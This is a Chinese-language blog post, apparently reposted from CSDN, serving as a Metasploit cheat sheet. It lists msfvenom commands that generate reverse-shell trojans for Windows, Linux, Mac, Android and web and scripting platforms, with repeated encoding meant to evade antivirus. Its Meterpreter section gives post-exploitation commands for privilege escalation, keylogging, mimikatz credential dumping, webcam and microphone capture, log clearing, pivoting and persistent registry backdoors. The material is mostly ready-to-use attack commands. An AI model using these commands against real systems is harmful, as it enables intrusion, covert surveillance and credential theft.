MSF之Msfvenom+Meterpreter

MSF之Msfvenom+Meterpreter

太极生两仪,两仪生四象,
四象生八卦,八卦衍万物。
然后呢?
万物不如你!

Msfvenom:

msfvenom是msfpayload,msfencode的结合体,它的优点是单一命令行和效率.利用msfvenom生成各种版本木马程序,并在目标机上执行,在本地监听上线,执行攻击。

Options:
-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
-l, --list  列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format  指定输出格式
-e, --encoder 指定需要使用的编码
-a, --arch 指定payload的目标架构 x64 x86
–platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations 指定payload的编码次数,绕杀毒
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template  指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out  保存payload
-v, --var-name 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload

最常使用的也就是 –f –o –p –I –e -x
-f (msfvenom –format查看)也就是指定生成文件格式,如图
在这里插入图片描述在这里插入图片描述

-o 输出位置,在捆绑木马时候,可以重定向。
-p 使用哪个payload
-i 把payload编码几次,次数越多免杀效果提高,随之失效性也变大
-e 使用哪个编码进行混淆免杀
-x 捆绑也做好的木马,-o只定被捆绑软件
查看可以利用的payload(编码/所有)
msfvenom -l payloads(encoders /all)
在这里插入图片描述

下面就大汇总一下,直接生成相应的木马。


Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 监听ip> LPORT=< 监听端口> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f macho > shell.machoWeb Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f war > shell.war
Scripting Payloads

Python
msfvenom -p cmd/unix/reverse_python LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<监听ip> LPORT=<监听端口> -f raw > shell.pl
APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> R > /1.apk

举个栗子:
生成exe木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=8888 -e x86/shikata_ga_nai -i 3 -f exe > shell.exe

在这里插入图片描述
开启ng转发,把内网转发到公网ip,然后监听本地127
监听反弹shell

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.4
set lport 4444
run

在这里插入图片描述
Sessions l 显示会话
Sessions id 即可进入

Meterpreter:

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,谁用谁知道,用用更健康

基本常用命令
ps   进程
sysinfo 查看系统信息
route 查看路由表
run get_local_subnets 获得内网 ip 段情况
getwd/getpid/getuid 查看路径/shell id/当前用户
getsystem 一键提权
screenshot 截屏
background/sessions 配合
upload/download /root/test  c:\\   上传/下载文件
search -D c:\\ -f *.doc   -D 指定目录 –f 指定文件
edit 相当于vi 修改host等
run getgui -e 开启目标主机远程桌面
run getgui -u example_username -p example_password 可以添加账号以便利用
run arp_scanner -r x.x.x.x/24 扫描存活主机 linux下也可以fping   -asg   10.96.10.0/24  或namp
run service_manager –l 获取运行服务
rdesktop -u kali -p meterpreter 192.168.250.176:3389远程左面连接 
shell 获取cmd
keyscan_start/dump/stop 开启/输出/关闭 记录目标主机的键盘输入
run hashdump 打印账号密码hash,这个并不好,可以利用mimikatz
load mimikatz也可以上传一个execute -i -f mimikatz.exe
	privilege::debug 提权
	sekurlsa::logonpasswords获取密码
portfwd命令 端口转发 portfwd add -l 1122 -p 3389 -r 192.168.250.176
migrate 端口 讲meterprete注入进程种结合ps使用
execute –f 相当于cmd中执行命令 –H 后台执行 –i交互式 
假冒域管理员等,use incognito然后查看list_tokens –u存在用户名 假冒impersonate_token 用户名(\\两个)
record_mic 记录麦克风
•  webcam_list 查看摄像头设备
•  从指定的摄像头,拍摄照片:webcam_snap  webcam_snap -i 1 -v false 每隔一秒拍摄一张图片
•  从指定的摄像头,开启视频:webcam_stream
run post/windows/gather/enum_applications  获取目标主机上的软
件安装信息
run post/windows/gather/enum_ie  读取IE 浏览器
cookies 等缓存信息。
run post/windows/gather/dumplinks 最近打开文档
run post/windows/gather/checkvm  是否虚拟机
clearev 清除痕迹

添加路由访问内网其他网段ip
首先需要在msf的操作界面下添加一个路由表。

添加命令:route  add  内网ip  子网掩码   session的id
打印命令:route  print

Msf就可以访问 该网段,然后扫描内网该内网利用

use auxiliary/scanner/portscan/tcp

OR
首先在meterpreter查看路由,run get_local_subnets
在这里插入图片描述
然后设置通往另外一个的路由run autoroute -s 192.168.100.0/24 -d删除 –p查看
在这里插入图片描述
通过代理访问内网

 set proxies socks5:127.0.0.1:8990

OR

可以设置 /etc/proxychains.conf socoks5 ip;端口 然后proxychains msfconsole

OR

use auxiliary/server/socks4a    
use auxiliary/server/socks5    
use auxiliary/server/socks_unc

以auxiliary/server/socks4a为例,查看需要设置的参数。
在这里插入图片描述
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。

持久性后门

  • Metsvc

生成run metsvc 加-r删除
监听shell需要windows/metsvc_bind_tcp模块而且要rhost目标ip及木马31337端口

use exploit/multi/handler              -->同样需要这个模块来连接后门的

set payload windows/metsvc_bind_tcp    -->使用该payload

show options                           -->查看配置选项

set LPORT 31337                        -->设置端口31337

set RHOST 192.168.2.107                -->设置目标IP地址,这里不是我们自己的IP了,是对方IP

exploit                                -->设置完成后运行再次得到后门连接,实现维持访问

  • persistence
# -X 开机自启动
# -i <num> payload重连的间隔时间
# -p 反向连接端口号 即公网端口	
# -r 反向连接IP地址 公网ip

输入,生成一个vps后门到 C:\Users\ADMINI~1\AppData\Local\Temp\目录下,主要是写入目标注册表键值实现开机自动运行。
run persistence -X -i 5 -p 10964 -r 119.28.130.53
在这里插入图片描述
同木马一样监听,即可反弹shell。

余生很长,请多指教。

在这里插入图片描述

发布了41 篇原创文章 · 获赞 24 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/csacs/article/details/99337728
msf
今日推荐